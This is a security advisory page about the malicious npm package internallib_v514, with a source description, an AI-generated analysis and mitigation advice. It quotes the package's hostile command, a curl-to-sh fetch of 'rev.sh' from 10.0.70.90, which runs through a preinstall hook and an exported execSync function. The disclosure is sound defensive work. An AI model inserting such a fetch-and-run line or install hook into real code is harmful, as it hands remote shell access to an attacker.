Skip to main content

Malicious code in internallib_v514 (npm)

0
Critical
Published: 08/06/2026 (08/06/2026, 23:54:21 UTC)
Source: GCVE Database
Product: internallib_v514

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea) package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.

Affected software

npmghsa
internallib_v514
Affected versions
=1.0.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 08/07/2026, 07:43:36 UTC

Technical Analysis

The internallib_v514 npm package version 1.0.0 exports a function that synchronously executes a shell command using Node.js child_process.execSync. This command downloads a shell script from a hardcoded internal IP address (http://10.0.70.90/rev.sh) via plaintext HTTP and pipes it directly into the shell for execution. The script name suggests a reverse-shell payload, enabling remote code execution. The package does not verify the integrity or authenticity of the downloaded script, lacks TLS encryption, and fetches code from a non-registry, non-publisher endpoint, making any invocation of this function a direct execution of attacker-controlled code.

Potential Impact

Any consumer of the internallib_v514 package version 1.0.0 that invokes the exported command function will execute arbitrary code controlled by an attacker. This can lead to full system compromise, including establishing a reverse shell for remote access. The lack of integrity checks and use of plaintext HTTP increases the risk of interception or manipulation of the payload.

Mitigation Recommendations

No official patch or remediation is currently documented. Users should immediately stop using internallib_v514 version 1.0.0 and remove it from their projects. Avoid invoking the exported command function. Verify dependencies for malicious code and consider using trusted package sources. Monitor for updates or advisories from the package publisher or security community for remediation guidance. Patch status is not yet confirmed — check the vendor advisory for current remediation guidance.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-13483
Osv Schema Version
1.7.4
Ecosystems
["npm"]

Threat ID: 6a7573b5bf8831d539d93aa8

Added to database: 08/07/2026, 05:57:09 UTC

Last enriched: 08/07/2026, 07:43:36 UTC

Last updated: 09/21/2026, 22:48:23 UTC

Views: 21

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses